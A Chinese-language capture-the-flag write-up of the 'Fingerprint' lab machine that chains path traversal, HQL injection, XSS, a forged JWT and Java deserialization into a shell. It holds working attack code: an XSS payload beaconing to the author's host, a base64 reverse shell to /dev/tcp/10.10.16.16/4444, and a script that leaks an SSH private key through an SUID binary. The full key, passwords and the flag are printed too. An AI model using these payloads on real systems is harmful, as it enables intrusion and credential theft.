本文最后更新于:2022年11月29日 晚上
nmap 1 nmap -sC -sV -Pn -v 10.10.11.127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PORT STATE SERVICE VERSION22 /tcp open ssh OpenSSH 7.6 p1 Ubuntu 4 ubuntu0.5 (Ubuntu Linux; protocol 2.0 ) | ssh -hostkey: | 2048 90 :65 :07 :35 :be:8 d:7 b:ee:ff:3 a:11 :96 :06 :a9:a1:b9 (RSA) | 256 4 c:5 b:74 :d9:3 c:c0:60 :24 :e4:95 :2 f:b0:51 :84 :03 :c5 (ECDSA) |_ 256 82 :f5:b0:d9:73 :18 :01 :47 :61 :f7:f6:26 :0 a:d5:cd:f2 (ED25519)80 /tcp open http Werkzeug httpd 1.0 .1 (Python 2.7 .17 ) |_http -title: mylog - Starting page | http -methods: |_ Supported Methods: HEAD OPTIONS GET |_http -server-header: Werkzeug/1.0 .1 Python/2.7 .17 8080 /tcp open http Sun GlassFish Open Source Edition 5.0 .1 |_http -title: secAUTH | http -methods: | Supported Methods: GET HEAD POST PUT DELETE TRACE OPTIONS |_ Potentially risky methods: PUT DELETE TRACE Service Info : OS: Linux; CPE: cpe:/o:linux:linux_kernel
site 80 访问站点能够发现一些信息,比如默认的admin:admin口令,以及网站后端是flask框架。
同时抓包也证实了这一点:
目录扫描 扫描目录发现有一个/admin的端点,虽然是302跳转,但是返回的数据包大小反而比/login端点还要大。
1 2 3 4 5 ➤ feroxbuster --url http:// 10.10 .11.127 [...]200 GET 206 l 633 w 10916 c http:// 10.10 .11.127 /302 GET 59 l 104 w 1574 c http:// 10.10 .11.127 /admin => http:/ /10.10.11.127/ login200 GET 36 l 77 w 901 c http:// 10.10 .11.127 /login
我们使用Burp将将返回数据包的302 FOUND改成200 OK。
再次访问界面,发现可以查看一个auth.log的访问日志文件。在8080端口的站点进行登录认证时,会在这个日志文件中生成访问记录,这个文件我们后面会用到。
路径穿越漏洞 蓝色的查看按钮指向链接 /admin/view/auth.log,对该端点进行测试,能够发现有路径穿越漏洞。
flask经典的启动文件名就是app.py了,我们紧接着访问/admin/view/../../../../../proc/self/cwd/app.py即可拿到flask文件。
文件里面只有一个SECRET_KEY是我们值得关注的内容。
1 app.config['SECRET_KEY' ] = 'SjG$g5VZ(vHC;M2Xc/2~z('
site 8080 随便发一个包看一下后端,是一个GlassFish的后端。
目录扫描 扫描目录的结果也显示了这应该是一个Java Web网站:
1 2 3 4 5 6 7 8 9 10 ➤ feroxbuster --depth 1 --url http:// 10.10 .11.127 :8080 [...]200 GET 229 l 626 w 13020 c http:// 10.10 .11.127 :8080 /200 GET 72 l 113 w 1733 c http:// 10.10 .11.127 :8080 /login405 GET 1 l 74 w 1184 c http:// 10.10 .11.127 :8080 /upload301 GET 6 l 13 w 185 c http:// 10.10 .11.127 :8080 /resources => http:/ /10.10.11.127:8080/ resources/301 GET 6 l 13 w 183 c http:// 10.10 .11.127 :8080 /WEB-INF => http:/ /10.10.11.127:8080/ WEB-INF/301 GET 6 l 13 w 183 c http:// 10.10 .11.127 :8080 /backups => http:/ /10.10.11.127:8080/ backups/302 GET 6 l 13 w 180 c http:// 10.10 .11.127 :8080 /welcome => http:/ /10.10.11.127:8080/ login301 GET 6 l 13 w 184 c http:// 10.10 .11.127 :8080 /META-INF => http:/ /10.10.11.127:8080/ META-INF/
这个backup文件夹里应该是有东西的,结合这是一个Java Web网站,我们使用-x参数指定文件拓展名然后继续对backup文件夹进行扫描。
1 2 3 4 5 6 7 ➤ feroxbuster --depth 1 --url http:// 10.10 .11.127 :8080 /backups/ -x java,jsp,class [...]200 GET 54 l 122 w 1444 c http:// 10.10 .11.127 :8080 /backups/ User.java200 GET 43 l 99 w 1060 c http:// 10.10 .11.127 :8080 /backups/ Profile.java401 GET 1 l 52 w 1094 c http:// 10.10 .11.127 :8080 /backups/ j_security_check
HQL注入 对登录过程进行抓包,发现除了常见的用户名密码外还有一个auth_secondary字段,且作了改动后服务器会返回500 Internal Server Error。
不过通过报错信息我们能够发现这个后端使用了Hibernate这样一个框架来作为ORM框架,与这个框架有关的就是HQL注入了。
尝试让单引号闭合,报错如下:
我们尝试让执行的HQL返回一条记录,比如使用这样一个payload:' or username='admin。使用该payload可以看到服务器不再返回500 Internal Server Error的错误了,而是显示Invalid fingerprint-ID。我们再看看能不能绕过对fingerprint-ID的校验吧。
在/resources/js/login.js端点下能够发现相关函数getFingerPrintID的定义。通览代码后不难发现这个fingerprint其实指代的就是浏览器的指纹。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function getFingerPrintID ( ) { let fingerprint = navigator.appCodeName + navigator.appVersion + (navigator.cookieEnabled ? "yes" : "no" ) + navigator.language + navigator.platform + navigator.productSub + navigator.userAgent + navigator.vendor + screen.availWidth + "" + screen.availHeight + "" + screen.width + "" + screen.height + "" + screen.orientation .type + "" + screen.pixelDepth + "" + screen.colorDepth + Intl .DateTimeFormat ().resolvedOptions ().timeZone ; for (const plugin of navigator.plugins ) { fingerprint += plugin.name + "," ; } for (const mime of navigator.mimeTypes ) { fingerprint += mime.type + "," ; } return MD5 (fingerprint) }
在浏览器的console界面可以查看这个getFingerPrintID使用的对象,以navigator为例,如下:
XSS 那现在看来就是这个登录界面通过对浏览器指纹进行识别做了白名单限制,亦即需要搞到一个合法的fingerprint-ID。
首先因为存在HQL注入,我们理论上可以通过HQL盲注来获取fingerprint-ID,这是第一种方案;
但是在接下来的测试中我们发现有XSS,还记得一开始我们提到的auth.log吗,我们输入任意XSS payload,比如经典的<script>alert(1)</script>,在80端口查看auth.log,如下:
在验证成功存在XSS后,另一个可行的方案是使用XSS拿到可能存在的BOT的fingerprint-ID。所以构造payload如下,当然也可以封装成一个evil.js,然后放在本机让服务器来访问。
1 2 <script src="http://10.10.11.127:8080/resources/js/login.js" ></script> <script > document .write ("<img src=http://10.10.16.16/" +getFingerPrintID ()+"></img>" );</script >
将payload输入后点击登录:
稍等即可拿到BOT的fingerprint-ID。
我们选择来自服务器的fingerprint-ID,即962f4a03aa7ebc0515734cf398b0ccd6。
输入该fingerprint-ID,和预期结果不太一样的是依旧是之前的报错信息:
在确认之前的步骤没有问题后,一个推测是这个fingerprint-ID并不是admin的,而是另外的用户的。于是在假设fingerprint-ID唯一的情况下,我们可以将username中的逻辑取反,即让username不等于admin(使用<>)。再次尝试登录,结果如下:
文件上传 点击链接,跳转到一个可以上传文件的页面。
这里我的界面没有加载出来,也上传不了文件。一番探索后发现是被墙了,需要挂梯子。。
挂了梯子后页面能够正常加载了,也能正常上传文件了。
上传文件后能够发现上传目录为/data/uploads。然后就没有别的了,也不能查看,也没有其他后续操作。
JWT 同时我们还发现了发送的数据包中有JWT的存在,复制出来放到jwt.io中进行解码,如下。然后使用之前拿到的SECRET_KEY能够成功校验签名。
user的值在解码后依旧不是明文,尝试再次base64解码,如下所示。可以看出大概这就是一个Java的序列化文件。通过这个字符串能够得出这是一个User对象,其他的字符串应该就是用户名、密码和fingerprint-ID了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ➤ echo "rO0ABXNyACFjb20uYWRtaW4uc2VjdXJpdHkuc3JjLm1vZGVsLlVzZXKUBNdz41+5awIABEkAAmlkTAALZmluZ2VycHJpbnR0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwYXNzd29yZHEAfgABTAAIdXNlcm5hbWVxAH4AAXhwAAAAAnQAQDdlZjUyYzI1MWY4MDQ0Y2IxODcwMTM5OTI4OTFkMGU1OGNlOTE5NGRlN2Y1MzViMWI0ZmE2YmJmZTA4Njc4ZjZ0ABRMV2c3Z1VSMUVtWDdVTnhzSnhxWnQAC21pY2hlYWwxMjM1" | base64 -d |xxd 00000000: aced 0005 7372 0021 636f 6d2e 6164 6d69 ....sr.!com.admi 00000010: 6e2e 7365 6375 7269 7479 2e73 7263 2e6d n.security.src.m 00000020: 6f64 656c 2e55 7365 7294 04d7 73e3 5fb9 odel.User...s._. 00000030: 6b02 0004 4900 0269 644c 000b 6669 6e67 k...I..idL..fing 00000040: 6572 7072 696e 7474 0012 4c6a 6176 612f erprintt..Ljava/ 00000050: 6c61 6e67 2f53 7472 696e 673b 4c00 0870 lang/String;L..p 00000060: 6173 7377 6f72 6471 007e 0001 4c00 0875 asswordq.~..L..u 00000070: 7365 726e 616d 6571 007e 0001 7870 0000 sernameq.~..xp.. 00000080: 0002 7400 4037 6566 3532 6332 3531 6638 ..t.@7ef52c251f8 00000090: 3034 3463 6231 3837 3031 3339 3932 3839 044cb18701399289 000000a0: 3164 3065 3538 6365 3931 3934 6465 3766 1d0e58ce9194de7f 000000b0: 3533 3562 3162 3466 6136 6262 6665 3038 535b1b4fa6bbfe08 000000c0: 3637 3866 3674 0014 4c57 6737 6755 5231 678f6t..LWg7gUR1 000000d0: 456d 5837 554e 7873 4a78 715a 7400 0b6d EmX7UNxsJxqZt..m 000000e0: 6963 6865 616c 3132 3335 icheal1235
file命令也验证了这是一个序列化文件。
综合利用 审计 利用的话应该就涉及到源代码的审计了,我们将之前拿到的几个java文件陈列如下:
User.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package com.admin.security.src.model;import com.admin.security.src.utils.FileUtil;import com.admin.security.src.utils.SerUtils;import lombok.AllArgsConstructor;import lombok.Data;import lombok.NoArgsConstructor;import javax.persistence.*;import java.io.File;import java.io.IOException;import java.io.Serializable;import java.nio.file.Paths;@AllArgsConstructor @NoArgsConstructor @Entity @Data @Table(name = "users") public class User implements Serializable { private static final long serialVersionUID = -7780857363453462165L ; @Id @GeneratedValue(strategy = GenerationType.IDENTITY) @Column(name = "id") protected int id; @Column(name = "username") protected String username; @Column(name = "password") protected String password; @Column(name = "fingerprint") protected String fingerprint; public File getProfileLocation () { final File dir = new File ("/data/sessions/" ); dir.mkdirs(); final String pathname = dir.getAbsolutePath() + "/" + username + ".ser" ; return Paths.get(pathname).normalize().toFile(); } public boolean isAdmin () { return username.equals("admin" ); } public void updateProfile (final Profile profile) throws IOException { final byte [] res = SerUtils.toByteArray(profile); FileUtil.write(res, getProfileLocation()); } }
Profile.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.admin.security.src.model;import com.admin.security.src.profile.UserProfileStorage;import lombok.Data;import java.io.File;import java.io.IOException;import java.io.Serializable;import java.util.ArrayList;import java.util.List;@Data public class Profile implements Serializable { private static final long serialVersionUID = 3995854114743474071L ; private final List<String> logs; private final boolean adminProfile; private File avatar; public static Profile getForUser (final User user) { final File file = user.getProfileLocation(); Profile profile; if (!file.isFile()) { profile = new Profile (new ArrayList <>(), user.isAdmin()); try { user.updateProfile(profile); } catch (final IOException ignored) { } } profile = new UserProfileStorage (user).readProfile(); return profile; } }
以上两个java文件是扫目录得出来的,然后通过import com.admin.security.src.profile.UserProfileStorage;这句话又找到了一个UserProfileStorage.java文件,如下:
UserProfileStorage.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package com.admin.security.src.profile;import com.admin.security.src.model.Profile;import com.admin.security.src.model.User;import com.admin.security.src.utils.SerUtils;import com.admin.security.src.utils.Terminal;import lombok.AllArgsConstructor;import lombok.Data;import java.io.File;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Arrays;import static com.admin.security.src.profile.Settings.AUTH_LOG;@Data @AllArgsConstructor public class UserProfileStorage implements Serializable { private static final long serialVersionUID = -5667788713462095525L ; private final User user; private void readObject (final ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); readProfile(); } public Profile readProfile () throws IllegalStateException { final File profileFile = user.getProfileLocation(); try { final Path path = Paths.get(profileFile.getAbsolutePath()); final byte [] content = Files.readAllBytes(path); final Profile profile = (Profile) SerUtils.from(content); if (profile.isAdminProfile()) { profile.getLogs().clear(); final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername(); profile.getLogs().addAll(Arrays.asList(Terminal.run(cmd).split("\n" ))); } return profile; } catch (final Exception e) { throw new IllegalStateException ("Error fetching profile" ); } } }
分析 在UserProfileStorage.java中有这样一句话应该是潜在的系统命令执行。
1 final String cmd = "cat " + AUTH_LOG.getAbsolutePath() + " | grep " + user.getUsername();
我们假设在传入Cookie后后端通过readObject还原出我们可控的UserProfileStorage对象,则我们可以尝试在cmd中注入命令达到命令执行。
但是这里有一个疑问是我们的Cookie中反序列化得到的是User对象(前面的file命令),不是User对象,但尝试了一下两个对象都可以利用。
而如果我们要想执行cmd这句话,首先是要让profile.isAdminProfile()这个boolean值为真。
往前看能够看到一个user.getProfileLocation()指示了读取文件的位置。而我们目前可控的有jwt亦即User对象,通过控制User对象中的username理论上我们就能控制getProfileLocation()返回的最终路径,从而控制读取的profile文件,最后控制生成的Profile对象。
而profile文件也是我们可控的,因为存在着上传的功能点,同时通过返回的路径我们也能定位到上传的文件。
再一个就是要怎么通过username来同时兼顾命令注入的问题。注意到在User.java中的getProfileLocation函数中最后返回了这个:
1 Paths . get(pathname).normalize() .to File() ;
测试一下可以发现在注入命令后解析依旧是没问题的。
工程 在测试没有问题后我们需要着手构造我们的序列化文件了。我们直接在现有的从backup文件夹中拿到的源代码的基础上建立工程文件即可。
这里我们需要生成两个文件,一个是profile的序列化文件(上传),一个是user的序列化文件(放在cookie里)。
这里使用了maven来管理依赖。
我们首先要做的是要补全FileUtil和SerUtils这两个工具类文件。最后得出的结果如下:
参考了如下几个网站的写法:
https://stackoverflow.com/questions/2836646/java-serializable-object-to-byte-array
https://www.tutorialspoint.com/How-to-convert-an-object-to-byte-array-in-java
https://stackoverflow.com/questions/3736058/java-object-to-byte-and-byte-to-object-converter-for-tokyo-cabinet/3736091
FileUtil.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.admin.security.src.utils;import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;public class FileUtil { public static void write (final byte [] data, final File file) throws IOException { if (!file.isFile()) { file.createNewFile(); } Files.write(Paths.get(file.getAbsolutePath()), data); } }
SerUtils.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 package com.admin.security.src.utils;import java.io.Serializable;import java.io.IOException;import java.io.ByteArrayOutputStream;import java.io.ByteArrayInputStream;import java.io.ObjectOutputStream;import java.io.ObjectInputStream;import java.lang.ClassNotFoundException;public class SerUtils { public static byte [] toByteArray(final Serializable obj) throws IOException { ByteArrayOutputStream bos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (bos); oos.writeObject(obj); oos.flush(); return bos.toByteArray(); } public static Object from (byte [] data) throws IOException, ClassNotFoundException { ByteArrayInputStream bis = new ByteArrayInputStream (data); ObjectInputStream ois = new ObjectInputStream (bis); return ois.readObject(); } }
这个项目一开始编译的时候遇到了很多问题,主要是lombok的配置问题,最后pom.xml文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 <?xml version="1.0" encoding="UTF-8" ?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd" > <modelVersion > 4.0.0</modelVersion > <groupId > org.example</groupId > <artifactId > admin</artifactId > <version > 1.0-SNAPSHOT</version > <properties > <java.version > 11</java.version > <maven.compiler.source > 11</maven.compiler.source > <maven.compiler.target > 11</maven.compiler.target > </properties > <dependencies > <dependency > <groupId > org.projectlombok</groupId > <artifactId > lombok</artifactId > <version > 1.18.16</version > <optional > true</optional > </dependency > <dependency > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-compiler-plugin</artifactId > <version > 3.8.0</version > </dependency > </dependencies > <build > <pluginManagement > <plugins > <plugin > <artifactId > maven-compiler-plugin</artifactId > <version > 3.8.0</version > <configuration > <source > 11</source > <target > 11</target > <encoding > UTF-8</encoding > <annotationProcessorPaths > <path > <groupId > org.projectlombok</groupId > <artifactId > lombok</artifactId > <version > 1.18.16</version > </path > </annotationProcessorPaths > </configuration > </plugin > </plugins > </pluginManagement > </build > </project >
伪造 在解决各种依赖问题后,建立App.java作为主模块,编写逻辑如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 package com.admin.security.src;import com.admin.security.src.model.Profile;import com.admin.security.src.model.User;import com.admin.security.src.profile.UserProfileStorage;import com.admin.security.src.utils.SerUtils;import com.admin.security.src.utils.FileUtil;import java.io.ByteArrayInputStream;import java.io.File;import java.io.IOException;import java.io.ObjectInputStream;import java.util.ArrayList;import java.util.Base64;public class App { public static void main ( String[] args ) throws IOException { Profile profile = new Profile (new ArrayList <>(), true ); FileUtil.write(SerUtils.toByteArray(profile), new File ("./test.ser" )); User user = new User (666 , "../../../../$(echo \"YmFzaCAtYyAnZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE2LjE2LzQ0NDQgMD4mMScK\" | base64 -d | bash)/../../../data/uploads/test" , "" , "" ); System.out.println(Base64.getEncoder().encodeToString(SerUtils.toByteArray(user))); } }
将生成的数据填入user字段中,然后使用之前的SECRET_KEY生成校验段即可拿到伪造的JWT Token。
记录如下:
1 eyJ0 eXAiOiJKV1 QiLCJhbGciOiJIUzI1 NiJ9 .eyJ1 c2 VyIjoick8 wQUJYTnlBREZqYjIwdVlXUnRhVzR1 YzJWamRYSnBkSGt1 YzNKakxuQnliMlpwYkdVdVZYTmxjbEJ5 YjJacGJHVlRkRzl5 WVdkbHNWZjRNY0 Fmb1 ZzQ0 FBRk1 BQVIxYzJWeWRBQWpUR052 YlM5 aFpHMXBiaTl6 WldOMWNtbDBlUzl6 Y21 NdmJXOWtaV3 d2 VlhObGNqdDRjSE55 QUNGamIyMHVZV1 J0 YVc0 dWMyVmpkWEpwZEhrdWMzSmpMbTF2 WkdWc0 xsVnpaWEtVQk5 kejQxKzVhd0 lBQkVrQUFtbGtUQUFMWm1 sdVoyVnljSEpwYm5 SMEFCSk1 hbUYyWVM5 c1 lXNW5 MMU4 wY21 sdVp6 dE1 BQWh3 WVhOemQyOXlaSEVBZmdBRVRBQUlkWE5 sY201 aGJXVnhBSDRBQkhod0 FBQUNtblFBQUhFQWZnQUdkQUNRTGk0 dkxpNHZMaTR2 TGk0 dkpDaGxZMmh2 SUNKWmJVWjZZVU5 CZEZsNVFXNWFXR2 hzV1 hsQ2 FWbFlUbTlKUXpGd1 NVUTBiVWxET1 d0 YVdGbDJaRWRPZDB4 NlJYZE1 ha1 YzVEdwRk1 reHFSVEpNZWxFd1 RrUlJaMDFFTkcxTlUyTkxJaUI4 SUdKaGMyVTJOQ0 F0 WkNCOElHSmhjMmdwTHk0 dUx5 NHVMeTR1 TDJSaGRHRXZkWEJzYjJGa2 N5 OTBaWE4 wIn0 .2 KOkhWYqILuF02 Lfquo_4 uHDzUGT5 d0 FXY5 H52 jMbpM
将得到的Cookie替换后刷新界面,开启nc监听,即可拿到www-data的shell:
1 2 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ whoami www-data
0x02 user.txt 拿到一个基本的shell后尝试提权,首先上传linpeas后能够在数据库中拿到一个密码:
u_will_never_guess_this_password
然后在home目录下发现存在着john用户,下有user.txt,看起来我们是先要提权到john:
1 2 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ ls /home flask john
cmatch 翻了一下具有suid权限的二进制文件,发现有一个cmatch文件。
使用file命令查看文件,发现是一个用go编写的可执行文件:
1 2 ➤ file cmatch cmatch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, Go BuildID=g0S7smUZ4Ljbm3adlw4M/rerwBcGwNE-PzKhA00uD/bFZyY2tGMN1Pij5MJT3S/a3vHbLilzEj9Jm1HX5K5, not stripped
功能推断 在不断尝试的过程中,我们可以发现它实现了一个文件匹配的功能。
1 2 3 4 5 6 7 8 9 10 11 12 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch aIncorrect number of arguments! www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch aIncorrect number of arguments! www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch a a open a: no such file or directory www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch /etc/passwd aFound matches: 105 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch /etc/passwd johnFound matches: 3 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ grep john /etc/passwdjohn: x: 1000 : 1000 :john :/home/john :/bin/bash
然后同时还发现这个脚本支持正则匹配:
1 2 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch /etc/passwd .Found matches: 1610
然后看看能不能读john的私钥文件:
1 2 www-data@fingerprint :/opt/glassfish5/glassfish/domains/domain1/config $ /usr/bin/cmatch /home/john/.ssh/id_rsa .Found matches: 1736
exploit编写 是可以的,所以理论上我们可以通过这个脚本一步一步将john用户的ssh私钥读出来,编写脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import osimport subprocessimport string special_chars = ":,-=/+ " known_chars = string.ascii_letters + string.digits + "\n" + special_chars key = "^-----BEGIN" if __name__ == '__main__' : print ("-----BEGIN" , end="" ) while True : for c in known_chars: c_reg = c if c in special_chars: if c == " " : c_reg = "\\s" else : c_reg = "\\" + c reg = f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{key} {c} "' res = subprocess.check_output(f'/usr/bin/cmatch /home/john/.ssh/id_rsa "{key} {c_reg} "' , shell=True ) if res == b"Found matches: 1\n" : key = key + c_reg print (c, end="" ) break
这里建议是先将cmatch这个文件拖下来在本地进行测试和代码测试,这样会快一些。
测试通过后将文件上传到靶机上然后运行,结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 www-data@fingerprint:/opt/g lassfish5/glassfish/ domains/domain1/ config$ python test.py -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4 ,ENCRYPTED DEK-Info: AES-128 -CBC,C310F9D86AE7CB5EA10046F9A215F423 ysiTr753RYpx1qkFJRvge/Dtu7rMEocAuCchOzAUgw9MqyPuI5M9m6KTvdB2E+SC KI8IlmSbAAu0obdwTOuKD0QDGCMlXadI91WKkhALiLuw0JsxuviTqkjy/xQOJYu+ T4VCRI8vZoc5lfGRXnVsOJmrfTWc8f43YSD+j8dOFvdkHi0ud7xSQfqKyhDVsRyO6 qM2v5RnBJBktl7vwftG5vyk5vZjmx2u5BXTksuBrMUF2iZVtsoQ59L70CtIXP0M g5HV4QZWRhSlS++i8W0GnWzCGANwiS18Z6CR4noSw80huaCIqWfwnoTXGJx91IDM S79dBUPaK109+DKXZfT600JriZ8S9yvox3QuQ9KwsqTP/Iz8NqQI/ J5KLoivM+t4 DHjReKktYJQ+jLB1hA3CQDYs/kVUHdG2ThluFESVrnhJDvkyvKLxNlixighsb2+c3 JHnD8OvXOxrj2jl0k/DgbsfNxf3sHAl8snIiBwgEmb8Ep6CJOIQbuaPzqa2/ Lxt FWZlHwYGnieVxX67nNdcU+3 xdfXbJX8UpYuGkKGwSiZRDHb3sMN5CtfHhU0fNybG5 xHn1YTwMZwHf8dKijdevMG2a8D79oaPff0XNflP+M2oz6e8RPOmkI0Wkv9EIq9X IbLprBGDM8VQDHtO76u+l4DQZbMFCjCSjm+/xVtPmkCB7YhOyMOd5GqymGhxlbaS OYJUBjA0TxHLtJ5+5 rptyaIwnJ82CA0jjRI3hoGfk2PAkX9LJuonnRm3/Is2u02R GoYnpegyKTp5ETL1Ut5BdEle1HrCTY5EjzI+e7bwXIEVhvgwS8e6W3ZUq72CC+gb PkSbQSQXQDQ3/qEN0XkpFIa7gyB/ GTKtlEwUSv/GxyB7lxu314/ Nox7Bz32sxxsc EwZURAAynFhVP+Bd7eB/ws/ Ii2N9ENKk8ut8+9 fKFw4/1 pJDdwuof8MgdPImmEXZ MPrQyMbt/7g1oAskxy3XgeuuRY76HN/ p2tElyBDZ4K+XWikKAnQPNkaohfjqsTJX VqPsWG2f8XxMnN6gRvWQ7eibbARdFU7c0KR3ANWgQ06ysCYp+R8F4ns4+nZzp2x1 DJpbS55UpW9r3cjcHHjfAoEmtI80waMKMpnTmwWyPqFGQiCVJvQkQBWKpmT/W8hU dexiRjth+FOMmrUcFe1sSElNFHDcKj2TKxdPW97c/afLn3E/ dUFDzalntY7K4A5M O0F1a7M71yqaTsTEBglt1ZfVJUdogpz5rp2i77H5/gHV1/g IEwLwLkUchsFpS2kC/ttPebUPv5Xxd/ qMF4c8+Qaynn9+MAnbDPz7peYH2un2n103qI4PudCjdpGW23sb UOtc0lgU4S2pA8rWT3j69nesVzR6Yni5zzj2gUL6o12+jdLoGYH6x6unlSf+EnEc U1jQBBJReZQ82j+e1FhxvD6WclxpNrtZxZdSyYaaLOMyI618tvvn5X63AWoNAZoT sq0H1EhWic++FzpFC1QjvmWlFIA8+KUt2BL0fz7RTQTfR0EGyZnZv9Dqe6QCneIE U3tpTZByfgx+MI2LIM8GXjvhUOiM6DieB2OFWsR8JRyred2qFJOjz7fX5TUl9dQv -----END RSA PRIVATE KEY-----
但是使用该文件在登录时提示需要私钥文件的密码。
爆破(失败) 我们可以先试试爆破。首先是hashcat本身是不支持爆破ssh私钥密码的,但是john可以。我们可以使用ssh2john这个脚本帮助我们将私钥文件转换成john支持的hash。
1 ➤ ssh2john.py id_rsa > id_rsa.hash
但是并没有爆破成功:
1 2 3 4 5 6 7 8 9 ➤ john id_rsa.hash Using default input encoding : UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32 /64 ])Cost 1 (KDF/cipher [0 =MD5/AES 1 =MD5/3 DES 2 =Bcrypt/AES]) is 0 for all loaded hashesCost 2 (iteration count) is 1 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort , almost any other key for status0 g 0 :00 :00 :03 DONE (2021 -11 -04 17 :02 ) 0 g/s 4717 Kp/s 4717 Kc/s 4717 KC/s *7 ¡Vamos!Session completed.
解包&搜索 在接着使用之前找到的一些密码无果后,我将目光投向了部署网站的war文件。
1 2 3 4 5 6 7 8 www-data@fingerprint:/opt/g lassfish5/glassfish/ domains/domain1/ config$ find / -name *.war 2>/ dev/null /opt/g lassfish5/glassfish/ lib/install/ applications/metro/ wstx-services.war/opt/g lassfish5/glassfish/ lib/install/ applications/ejb-timer-service-app.war/opt/g lassfish5/glassfish/ domains/domain1/ applications/__internal/ app/app.war/opt/g lassfish5/mq/ lib/imqums.war/opt/g lassfish5/mq/ lib/imqhttp.war/opt/g lassfish5/mq/ lib/imqhttps.war/opt/g lassfish5/javadb/ lib/derby.war
将app.war拖下来,解包后将整个文件夹导入jd-gui分析,全盘搜索password等关键字后在HibernateUtil.class文件中找到了一个密码q9Patz64fhtiVSO6Df2K。
使用这个密码我们能够成功登录进john:
1 2 3 john@fingerprint :~ $ cat user.txt82 b92c5ae7a77e4e586a14275f259345 john@fingerprint :~ $
0x03 root.txt 靶场retired了。。做不得
0x04 Summary 这是一个Insane难度的Linux靶机,主要考察内容如下:
不严谨的302跳转的利用
路径穿越漏洞
HQL注入
XSS
Json Web Token
Java代码审计
反序列化利用
滥用二进制文件
war包分析